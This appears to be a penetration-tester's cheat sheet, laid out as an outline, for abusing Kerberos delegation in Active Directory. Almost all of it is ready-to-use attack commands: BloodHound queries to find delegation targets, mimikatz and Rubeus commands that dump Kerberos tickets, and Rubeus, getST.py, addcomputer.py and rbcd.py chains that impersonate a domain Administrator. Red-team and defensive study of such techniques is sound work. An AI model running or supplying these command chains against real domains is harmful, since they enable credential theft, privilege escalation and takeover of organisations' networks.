Find delegation

  • findDelegation.py "<domain>"/"<user>":"<password>"
  • With BloodHound
    • Unconstrained
      • MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
      • MATCH (c:User {unconstraineddelegation:true}) RETURN c
    • Constrained
      • MATCH p=((c:Base)-[:AllowedToDelegate]->(t:Computer)) RETURN p
      • MATCH p=shortestPath((u:User)-[*1..]->(c:Computer {name: "<MYTARGET.FQDN>"})) RETURN p

Unconstrained delegation Kerberos TGT PassTheTicket

  • UAC: ADS_UF_TRUSTED_FOR_DELEGATION
    • Force connection with coerce
      • Get tickets
        • mimikatz privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export
        • Rubeus.exe dump /service:krbtgt /nowrap
        • Rubeus.exe dump /luid:0xdeadbeef /nowrap
        • Rubeus.exe monitor /interval:5

Constrained delegation

  • With protocol transition (any) UAC: TRUST_TO_AUTH_FOR_DELEGATION

    • Get TGT for user
      • Request S4u2self
        • Request S4u2proxy
    • Rubeus.exe hash /password:<password>
      • Rubeus.exe asktgt /user:<user> /domain:<domain> /aes256:<AES 256 hash>
        • Rubeus.exe s4u /ticket:<ticket> /impersonateuser:<admin_user> /msdsspn:<spn_constrained> /altservice:<altservice> /ptt
          • Altservice HTTP/HOST/CIFS/LDAP Kerberos TGS
    • getST.py -spn '<spn>/<target>' -impersonate Administrator -dc-ip '<dc_ip>' '<domain>/<user>:<password>' -altservice <altservice>
      • Altservice HTTP/HOST/CIFS/LDAP Kerberos TGS

  • Without protocol transition (kerberos only) UAC: TRUSTED_FOR_DELEGATION

    • Constrain between Y and Z
      • Add computer X
        • Add RBCD : delegate from X to Y
          • s4u2self X (impersonate admin)
            • S4u2Proxy X (impersonate admin on spn/Y)
              • Forwardable TGS for Y
                • S4u2Proxy Y (impersonate admin on spn/Z)
    • add computer account
      • addcomputer.py -computer-name '<computer_name>' -computer-pass '<ComputerPassword>' -dc-host <dc> -domain-netbios <domain_netbios> '<domain>/<user>:<password>'
    • RBCD With added computer account Kerberos TGS
      • rbcd.py -delegate-from '<rbcd_con>$' -delegate-to '<constrained>$' -dc-ip '<dc>' -action 'write' -hashes '<hash>' <domain>/<constrained>$
        • getST.py -spn host/<constrained> -impersonate Administrator --dc-ip <dc_ip> '<domain>/<rbcd_con>$:<rbcd_conpass>'
          • getST.py -spn <constrained_spn>/<target> -hashes '<hash>' '<domain>/<constrained>$' -impersonate Administrator --dc-ip <dc_ip> -additional-ticket <previous_ticket>
    • Self RBCD @CVE@
      • Like RBCD without add computer

Resource-Based Constrained Delegation

  • add computer account
    • addcomputer.py -computer-name '<computer_name>' -computer-pass '<ComputerPassword>' -dc-host <dc> -domain-netbios <domain_netbios> '<domain>/<user>:<password>'
  • RBCD With added computer account
    • Rubeus.exe hash /password:<computer_pass> /user:<computer> /domain:<domain>
      • Rubeus.exe s4u /user:<fake_computer$> /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/<victim.domain.local> /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt Admin
    • rbcd.py -delegate-from '<computer>$' -delegate-to '<target>$' -dc-ip '<dc>' -action 'write' <domain>/<user>:<password>
      • getST.py -spn host/<dc_fqdn> '<domain>/<computer_account>:<computer_pass>' -impersonate Administrator --dc-ip <dc_ip> Kerberos TGT Admin

S4U2self abuse

  • Get machine account (X)‘s TGT
    • Get a ST on X as user admin
  • getTGT.py -dc-ip "<dc_ip>" -hashes :"<machine_hash>" "<domain>"/"<machine>$"
    • getST.py -self -impersonate "<admin>" -altservice "cifs/<machine>" -k -no-pass -dc-ip "DomainController" "<domain>"/'<machine>$' Admin